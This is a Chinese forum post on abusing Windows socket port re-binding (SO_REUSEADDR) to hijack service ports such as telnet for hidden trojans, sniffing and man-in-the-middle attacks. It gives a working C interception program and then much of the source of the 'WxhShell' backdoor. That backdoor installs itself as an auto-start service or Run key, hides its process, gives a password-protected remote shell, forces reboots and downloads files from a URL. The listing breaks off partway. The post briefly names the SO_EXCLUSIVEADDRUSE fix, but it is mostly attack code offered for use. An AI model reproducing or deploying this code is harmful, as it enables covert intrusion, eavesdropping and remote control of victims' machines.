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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F~* 5`o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JY>]u*=  
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  saddr.sin_family = AF_INET; Mb$&~!  
D, 3x:nK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  Y9PG  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B&.XGo)  
2Db[dk( ]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C9bf1ddCW&  
 Gc SX5c  
  这意味着什么?意味着可以进行如下的攻击: 4|Z3;;%+  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CZbp}:|  
:L\@+}{(c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) bLf }U9  
~~yo& ]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OF DPtJwV  
1}V_:~7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #]:nQ (  
4'X^YBm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fmloh1{4  
}|A%2!Q}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #kV= ;(lq  
%Xp}d5-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w/Q'T&>b/  
gy*N)iv%  
  #include (( t8  
  #include t@!oc"z}@  
  #include HYpB]<F  
  #include    1[B?nk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UHR)]5Lt  
  int main() v)X1R/z5xw  
  { ~Jq<FVK  
  WORD wVersionRequested; ]LP&v3  
  DWORD ret; /4=O^;   
  WSADATA wsaData; O{%y `|m  
  BOOL val; #M8"b]oh6  
  SOCKADDR_IN saddr; eR5swy&  
  SOCKADDR_IN scaddr; Y{2\==~  
  int err; v?Y9z!M  
  SOCKET s; +gT?{;3[i  
  SOCKET sc; - d>)  
  int caddsize; ZM4q@O)/  
  HANDLE mt; vw+ @'+  
  DWORD tid;   nc l-VN  
  wVersionRequested = MAKEWORD( 2, 2 ); FtY*I&  
  err = WSAStartup( wVersionRequested, &wsaData ); ~W`upx)j  
  if ( err != 0 ) { 9~u1fk{  
  printf("error!WSAStartup failed!\n");  !@bN  
  return -1; YFsEuaV  
  } m: w/[|_  
  saddr.sin_family = AF_INET; :Fm+X[n  
   Pm;"Y!S<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #ljfcQm  
Y+WOU._46I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -bKli<C  
  saddr.sin_port = htons(23); 59ro-nA9v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L6U[H#3(  
  { xt40hZ$  
  printf("error!socket failed!\n"); Oja)J-QXb  
  return -1; 2:2rwH }e  
  } ;XGG&M%3  
  val = TRUE; Y_f6y 9?ZE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yjN|PqtSV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >mh:OJH45  
  { T`f9 jD  
  printf("error!setsockopt failed!\n"); =;c? 6{<1  
  return -1; QbS w<V  
  } S{J$[!F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %.<w8ag  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  aA0aW=R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VJJw"4DJ  
V^.~m;ETu]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~M43#E[oOF  
  { G|X1c}zAL  
  ret=GetLastError(); spn1Ji  
  printf("error!bind failed!\n"); I[&z#foN=w  
  return -1; l<^#@SH  
  } .F}ZP0THnZ  
  listen(s,2); 3Jk;+<  
  while(1) U2+CL)al^  
  { QbpRSdxy`$  
  caddsize = sizeof(scaddr); m",$M>  
  //接受连接请求 DhkzVp_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d<: VoQM6M  
  if(sc!=INVALID_SOCKET) {v~&.|  
  {  :E'38~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \+S~N:@><k  
  if(mt==NULL) }%_x T  
  { ?u 9) GJO[  
  printf("Thread Creat Failed!\n"); t</Kel|D  
  break; /koNcpJ  
  } jskATA /  
  } J%D'Xlb  
  CloseHandle(mt); d) G7U$z~  
  } 4$ejJaE  
  closesocket(s); "hpK8vQ  
  WSACleanup(); m5f/vb4l  
  return 0; aI+:rk^  
  }   Fi(_A  
  DWORD WINAPI ClientThread(LPVOID lpParam) rN} {v}n  
  { RR^I*kRH  
  SOCKET ss = (SOCKET)lpParam; 0B1*N_.L@  
  SOCKET sc; >iWl-hI-  
  unsigned char buf[4096]; }q27M  
  SOCKADDR_IN saddr; 0>Ecm#  
  long num; <;SMczR  
  DWORD val; Alh%Z\  
  DWORD ret; 3vmLftZE}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;c<:"ad(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JTl 37j  
  saddr.sin_family = AF_INET; ,Ea.ts>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0qZ{:}`3  
  saddr.sin_port = htons(23); t'0r4&\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U}7$:hO"dX  
  { ma?569Z8~0  
  printf("error!socket failed!\n"); pk(<],0]X  
  return -1; QTK \"  
  } >RE&>T^8  
  val = 100; <k}>eGn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D OPOzh  
  { kw|bEL9!u  
  ret = GetLastError(); <hQ@]2w$  
  return -1; \L6U}ZQ2V  
  } uZ%b6+(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6"eGd"  
  { Xp._B4g  
  ret = GetLastError(); $fuFx8`2W  
  return -1; 6+m)   
  } %|oY8;0|A>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0O"GI33Mg  
  { BP*gnXj  
  printf("error!socket connect failed!\n"); 9= \bS6w*  
  closesocket(sc); xWn.vSos  
  closesocket(ss); D-A#{e _  
  return -1; Hfm4  
  } +z;xl-*[  
  while(1)  +6uun  
  { r/:s2 oQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [$9sr=3:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m-> chOu~|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :h*20iP  
  num = recv(ss,buf,4096,0); E9%xSMS8@  
  if(num>0) {Am\%v\  
  send(sc,buf,num,0); "op1xto  
  else if(num==0) kH1l -mxz  
  break; ,N <;!6e  
  num = recv(sc,buf,4096,0); ~$!eB/6ty  
  if(num>0) !);}zW!  
  send(ss,buf,num,0); &g.w~KWa  
  else if(num==0) t<}'/ )  
  break; ^=E4~22q  
  } Nki18ud#  
  closesocket(ss); iN+p>3w^l  
  closesocket(sc); mcS/-DaN?  
  return 0 ; U|-4*l9Ed  
  } {eqUEdC  
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f1hi\p0q  
========================================================== VH,k EbJ  
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下边附上一个代码,,WXhSHELL B2WPjhzD  
zZki9P   
========================================================== hH )jX`Ta  
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#include "stdafx.h" PFUb\AY  
~ E>D0o  
#include <stdio.h> k;;?3)!  
#include <string.h> zUIh8cAoE  
#include <windows.h> UQ`%,D  
#include <winsock2.h> &FkKnz4IZ  
#include <winsvc.h> n*@^c$&P  
#include <urlmon.h> /o+, =7hY  
_BtppQIWv  
#pragma comment (lib, "Ws2_32.lib") {5^ 'u^E  
#pragma comment (lib, "urlmon.lib") HBo^8wN  
!+9H=u  
#define MAX_USER   100 // 最大客户端连接数 Qj[4gN?}=  
#define BUF_SOCK   200 // sock buffer 3`IDm5  
#define KEY_BUFF   255 // 输入 buffer  L~I<y;x  
/PQg>Pa85  
#define REBOOT     0   // 重启 .eK1xwhJ  
#define SHUTDOWN   1   // 关机 ')Ozz<{  
T1\Xz-1  
#define DEF_PORT   5000 // 监听端口 N$p}rh#7{  
i*W8_C:S  
#define REG_LEN     16   // 注册表键长度 w v9s{I{P  
#define SVC_LEN     80   // NT服务名长度 e%(zjCA  
~9h6"0K!  
// 从dll定义API sjWhtd[fgG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V:QfI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [M@i,d-;A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >`'#4!}G5j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZV_mP'1*  
pc:K5 -Os  
// wxhshell配置信息 Xb#x^?|  
struct WSCFG { :}UWy?F  
  int ws_port;         // 监听端口 sZ]O&Za~  
  char ws_passstr[REG_LEN]; // 口令 mZ ONxR6q$  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3(E"$Se,f  
  char ws_regname[REG_LEN]; // 注册表键名 X OJ/$y  
  char ws_svcname[REG_LEN]; // 服务名 Crm](Z?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QRgWzaI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C&zgt :q6}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z})H$]:$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1g2%f9G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7&'^H8V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @hQ+pG@s  
q+WOnTS  
}; j3Cpo x  
Z9~~vf#  
// default Wxhshell configuration E I)Pfx"0  
struct WSCFG wscfg={DEF_PORT, 3`SLMPI  
    "xuhuanlingzhe", *~prI1e(  
    1, o PR^Z pt  
    "Wxhshell", H8P il H  
    "Wxhshell", rAn''X6H  
            "WxhShell Service", r_FW)Fu^  
    "Wrsky Windows CmdShell Service", 9]1-J5iO  
    "Please Input Your Password: ", wb"Jj  
  1, 8kH'ai  
  "http://www.wrsky.com/wxhshell.exe", T>kJB.V:oQ  
  "Wxhshell.exe" cV&(L]k>`  
    }; f^:9gRt  
.fU qsq  
// 消息定义模块 W-7yi`5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *ZKfyn$+~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &p=|z2 J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F! c%&Z  
char *msg_ws_ext="\n\rExit."; x>&1;g2r  
char *msg_ws_end="\n\rQuit."; TnPdpynP  
char *msg_ws_boot="\n\rReboot..."; HPVT$EJ  
char *msg_ws_poff="\n\rShutdown..."; .7+_ubj&,  
char *msg_ws_down="\n\rSave to "; wV W+~DJ  
(aiE!c  
char *msg_ws_err="\n\rErr!"; 42U3>  
char *msg_ws_ok="\n\rOK!"; W%Br%VQJ  
VskyRxfdW3  
char ExeFile[MAX_PATH]; xg. d)n  
int nUser = 0; 1a/@eqF''  
HANDLE handles[MAX_USER]; |~8iNcIS  
int OsIsNt; ~Jp\'P7*  
8 E.u3eS  
SERVICE_STATUS       serviceStatus; lv&<kYWY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m#grtmyMrI  
bveNd0hN  
// 函数声明 N%_-5Q)so  
int Install(void); -t:y y:4  
int Uninstall(void); JAmv7GL'6  
int DownloadFile(char *sURL, SOCKET wsh); 76zi)f1f  
int Boot(int flag); &q``CCOF&  
void HideProc(void); .IYOtS  
int GetOsVer(void); Z&JW}''n|F  
int Wxhshell(SOCKET wsl); hh <=D.u  
void TalkWithClient(void *cs); :g+R}TR[i  
int CmdShell(SOCKET sock); p,]Hs{R  
int StartFromService(void); YU M%3  
int StartWxhshell(LPSTR lpCmdLine); 2ai \("?  
)-2OraUm<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xI}]q%V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n&FN?"I/]  
&P[eA u  
// 数据结构和表定义 AM'-(x|  
SERVICE_TABLE_ENTRY DispatchTable[] = -Ww'wH'2  
{ :Oa|&.0l?  
{wscfg.ws_svcname, NTServiceMain}, E-.M+[   
{NULL, NULL} 'S@h._q  
}; QmbD%kW`3  
b==<7[8  
// 自我安装 7!Ym~M=  
int Install(void) o LuGW5wzj  
{ *1Nz VV  
  char svExeFile[MAX_PATH]; @xSS`&b  
  HKEY key; kTc'k  
  strcpy(svExeFile,ExeFile); (`!?p ^>A  
f o4j^,`  
// 如果是win9x系统,修改注册表设为自启动 VAsaJ`vcb  
if(!OsIsNt) { w<-CKM3qe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BU<A+Pe>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i^Ep[3  
  RegCloseKey(key); KosAc'/ M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vT\`0di~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;w}ZI<ou  
  RegCloseKey(key); f{^C+t{r  
  return 0; 42ttmN1F  
    } #^yw!~:{  
  } 0&2TeqsLh)  
} i7mT<w>?  
else { `<b 3e(A  
q`"gT;3S  
// 如果是NT以上系统,安装为系统服务 Ol{)U;, `  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); + [|2k(U  
if (schSCManager!=0) pWwaN4  
{ cl^wLC'o  
  SC_HANDLE schService = CreateService EG@*J*|S  
  ( aoI{<,(  
  schSCManager, d_1w 9 F A  
  wscfg.ws_svcname, EoIP#Cnd1  
  wscfg.ws_svcdisp, "Z&{  
  SERVICE_ALL_ACCESS, 0Evmq3,9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {-7];e  
  SERVICE_AUTO_START, Q$iv27  
  SERVICE_ERROR_NORMAL, )O#>ONm^  
  svExeFile, [0Z r z+q  
  NULL, a}hpcr({?  
  NULL, J+Q ;'J  
  NULL, wu/]M~XwI  
  NULL, |9~{&<^X  
  NULL F1w~f <  
  ); [@uL)*o_#  
  if (schService!=0) q 1Rk'k4+  
  { ]wER&/v"  
  CloseServiceHandle(schService); 8QXxRD;0:  
  CloseServiceHandle(schSCManager); \m*?5]m ;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P7 H-Dw  
  strcat(svExeFile,wscfg.ws_svcname); jxZ R%D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { st+X~;PX*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ) $#ov-]  
  RegCloseKey(key); ;jo,&C  
  return 0; A_CEpG]  
    } 2oGl"3/p  
  } C.}Z5BwS  
  CloseServiceHandle(schSCManager); ZiSy&r:(  
} q,PB; TT  
} ?U cW@B{  
a%Q.8  
return 1; FxTOc@<  
} 0 #VH=pga  
CsQ}eW8uEf  
// 自我卸载 n;xtUw6 \  
int Uninstall(void) s'tmak-}|  
{ <,`=m|z9k  
  HKEY key; R1&(VK{  
df&d+jY  
if(!OsIsNt) { :G9.}VrU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^7.864  
  RegDeleteValue(key,wscfg.ws_regname); Nye Ga  
  RegCloseKey(key); %h4pIA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .px*.e s  
  RegDeleteValue(key,wscfg.ws_regname); 5owUQg,W  
  RegCloseKey(key); Q/1 6D  
  return 0; ,CA,7Mu:  
  } 5A>W;Q\4  
} oz(<e  
} D ( <_1  
else { X%h1r`h&  
f:KKOLm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =xS(Er`r  
if (schSCManager!=0) \T/~" w  
{ 9V0iV5?(P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U*(m'Ea  
  if (schService!=0) u f.Zg;Vc  
  { @Vr?)_ 0  
  if(DeleteService(schService)!=0) { Hh(_sewo  
  CloseServiceHandle(schService); /=FQ {tLr  
  CloseServiceHandle(schSCManager); zX"@QB3E  
  return 0; DHaSBk  
  } l$}h1&V7  
  CloseServiceHandle(schService); CD +,&id  
  } I8Y[d$z  
  CloseServiceHandle(schSCManager); 2(\~z@g  
} wbU pD(  
} `-hFk88  
0N;Pb(%7UU  
return 1; ${8 1~  
} #]_S{sO  
Qx>S>f  
// 从指定url下载文件 /E2/3z  
int DownloadFile(char *sURL, SOCKET wsh) Q6`oo/  
{ ^; Nu\c  
  HRESULT hr; QNLkj`PL/  
char seps[]= "/"; vh"zYl`  
char *token; >Yl?i&3n  
char *file; '%. lY9D  
char myURL[MAX_PATH]; !}9k @=[  
char myFILE[MAX_PATH]; 6w0/;8(_m  
Z h)Qq?H  
strcpy(myURL,sURL); $Dxz21|P7  
  token=strtok(myURL,seps); h:Q*T*py  
  while(token!=NULL) 1Yo9Wf;vP  
  { c]P`U(q9TV  
    file=token; Zoh2m`6  
  token=strtok(NULL,seps); Be68 Fu0  
  } RnE=T/VZJ  
xx)egy_  
GetCurrentDirectory(MAX_PATH,myFILE); D^E1  
strcat(myFILE, "\\"); /(bPc12  
strcat(myFILE, file); $A`D p{e"  
  send(wsh,myFILE,strlen(myFILE),0); Xjt/ G):L  
send(wsh,"...",3,0); =nh/w#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &y[Od{=  
  if(hr==S_OK) (%rO'X  
return 0; po}Jwx!  
else [>A%%  
return 1; fLa 7d?4  
P 5yS`v$@  
} <T>C}DGw  
V2W)%c'  
// 系统电源模块 I0h/x5  
int Boot(int flag) ^%@(> :)0  
{ ZxlQyr`~a(  
  HANDLE hToken; f]tc$`vb  
  TOKEN_PRIVILEGES tkp; qt=gz6!  
|2,u!{  
  if(OsIsNt) { 4GH?$p|LX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8{Bcl5]<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z!0D97^  
    tkp.PrivilegeCount = 1; t|0Zpp;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^G.PdX$M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2j9Mr  
if(flag==REBOOT) { %a{$M{s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x6d+`4  
  return 0; {9q~bt  
} OGw =e{  
else { IP~*_R"bM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]x8 ^s  
  return 0; AifnC4  
} aF7" 4^P  
  } IGeXj%e  
  else { f7c%Z:C#Y  
if(flag==REBOOT) { cY  ^>`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7E*d>:5I  
  return 0; ujGvrY j  
} 81u}J9z;  
else { p^_2]%,QeM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hg_@Ui@[z  
  return 0; 9!6sf GZ  
} ;i\m:8!;  
} "q5Tw+KCfu  
#]>Z4=]v  
return 1;  i1v0J->  
} Nb~.6bsL  
oswS<t{Z  
// win9x进程隐藏模块 I?}YS-2  
void HideProc(void) 0"]N9N;/  
{ ;^za/h>r  
M >#kfSF+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X-%XZD B6  
  if ( hKernel != NULL ) pJ!:mt  
  { 0Ah'G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |dcRDOTe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &sleV5V  
    FreeLibrary(hKernel); o{5es  
  } th]1> .  
ys`"-o[*  
return; \ws<W 7  
} T~@$WM(  
}wJ-*By{+  
// 获取操作系统版本 MwMv[];I  
int GetOsVer(void) oh c/{D2  
{ mcvd/  
  OSVERSIONINFO winfo; &~Qi+b0!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5]D"y Ay81  
  GetVersionEx(&winfo); ^EY^.?Mg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p2s*'dab7  
  return 1; N]f"+  
  else N=R|s$,Oy9  
  return 0; :!H]gC 4  
} 3m:[o`L  
}{/3yXk[G  
// 客户端句柄模块 ;LSdY}*%0  
int Wxhshell(SOCKET wsl) R+ #(\  
{ {+r0Nikx_  
  SOCKET wsh; ?hu}wl)  
  struct sockaddr_in client; *\ZK(/V  
  DWORD myID; xV@/z5Tq  
R3=PV{`M  
  while(nUser<MAX_USER) ?Ho~6q8O@  
{ (|H1zO  
  int nSize=sizeof(client); Qz6Ry\u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ni "n_Yun  
  if(wsh==INVALID_SOCKET) return 1; Dg(882#_  
OtK=UtVI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >(nb8T|  
if(handles[nUser]==0) S-@E  
  closesocket(wsh); Z<+Ipj&  
else fy&vo~4i;  
  nUser++; O%feBe  
  } hn]><kaA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DMO8~5  
NbG`v@yH  
  return 0; \0. c_  
} }&|S8:   
QfqosoP\D  
// 关闭 socket -;rr! cQ?  
void CloseIt(SOCKET wsh) -:Up$6PR  
{ "\0&1C(G  
closesocket(wsh); ;.*n77Y  
nUser--; o ;nw;]oR  
ExitThread(0); <Sw>5M!j  
} rq=D[vX\N(  
^0" W/  
// 客户端请求句柄 M;s r1C  
void TalkWithClient(void *cs) %^1@c f?.  
{ (<y~]igy  
\Eqxmo  
  SOCKET wsh=(SOCKET)cs; %C}TdG(C  
  char pwd[SVC_LEN]; `x%( n@g  
  char cmd[KEY_BUFF]; N0`v;4gF$]  
char chr[1]; Z1u:OI@(  
int i,j; ;oL`fQyr  
 0Bbno9Yp  
  while (nUser < MAX_USER) { 6%N.'wf  
Lckb*/jV&  
if(wscfg.ws_passstr) { <*O~?=6p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QAs$fi}f]s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wCT. (d_  
  //ZeroMemory(pwd,KEY_BUFF); a W1y0  
      i=0; -n.ltgW@   
  while(i<SVC_LEN) { u!wR  
9a4Xf%!F>z  
  // 设置超时 w'uI~t4  
  fd_set FdRead; Ci{,e%  
  struct timeval TimeOut; GI:J9TS  
  FD_ZERO(&FdRead); ~{- zj  
  FD_SET(wsh,&FdRead); B5FRe'UC  
  TimeOut.tv_sec=8; `+Ko{rf+9  
  TimeOut.tv_usec=0; +\r=/""DW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4@|"1D3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J QSp2b@'H  
7&ty!PpD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A}K2"lQ#>,  
  pwd=chr[0]; @JFfyQ {-  
  if(chr[0]==0xd || chr[0]==0xa) { -44{b<:D  
  pwd=0; !cblmF;0  
  break; zT _  
  } BT[jD}?  
  i++; 2|2'?  
    } kY e3A &J  
(- ]A1WQ?  
  // 如果是非法用户,关闭 socket iIZDtZFF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %qN_<W&Ze  
} % Q| >t~  
o{C7V *  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $_bhZnYp7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /da5 "  
POZ5W)F(  
while(1) { Rwu y!F  
0[ (Z48  
  ZeroMemory(cmd,KEY_BUFF); (7v]bqfw  
AHa%?wb  
      // 自动支持客户端 telnet标准   lt:xN?--A?  
  j=0; u;-_%?  
  while(j<KEY_BUFF) { /E(319u_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mPhrMcL  
  cmd[j]=chr[0]; Ab| t E5%  
  if(chr[0]==0xa || chr[0]==0xd) { ui _nvD:  
  cmd[j]=0; Q7<_> )e^  
  break; 5X8GR5P  
  } w4 R!aWLd  
  j++; CC8M1iW3  
    } Nd5G-eYI  
rUg<(/c  
  // 下载文件 nDiy[Y-4Wp  
  if(strstr(cmd,"http://")) { w]<a$C8*y:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OHEl.p]|  
  if(DownloadFile(cmd,wsh)) pi/Jto25z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6p;G~,bd~  
  else ar+ j`QIe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8xAxn+;  
  } |:yWDZg[  
  else { ;"d>lyL  
O7]p `Xi8  
    switch(cmd[0]) { |@Cx%aEKU  
  zk#NM"C+  
  // 帮助 ~ 9 F rlj  
  case '?': { 2h_XfY'3pX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g>L4N.ZH_v  
    break; Z>9uVBE02  
  } huPAWlxT  
  // 安装 aicvu(%EE  
  case 'i': { }8joltf  
    if(Install()) C2l=7+X#W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2N)siH  
    else nTy8:k']  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tWT ,U[  
    break; 4Z'/dI`  
    } !c 3c%=W  
  // 卸载 ^`BiA'gPPC  
  case 'r': { -'q#u C  
    if(Uninstall()) 8ClOd<I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z' oK 0"  
    else O~wZU Zf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pfs'2AFj  
    break; r)4GH%+?fv  
    } $oPx2sb  
  // 显示 wxhshell 所在路径 !+<OED=qe  
  case 'p': { Z}b25)  
    char svExeFile[MAX_PATH]; G)(vd0X1  
    strcpy(svExeFile,"\n\r"); fu=GgD*  
      strcat(svExeFile,ExeFile); <%_7%  
        send(wsh,svExeFile,strlen(svExeFile),0); D@O#P^?  
    break; ?2RDd|#  
    } G}|!Jdr  
  // 重启 As5*)o"&  
  case 'b': { "UNWbsn6Qr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9A7LDHst7  
    if(Boot(REBOOT)) *h <_gn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -VC k k  
    else { -l:4I6-hi  
    closesocket(wsh); e1Ne{zg~  
    ExitThread(0); rAv)k&l  
    } PUU "k:{  
    break; QsO%m  
    } \/wbk`2  
  // 关机 C>}@"eK  
  case 'd': { Q+ i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z(o zMH  
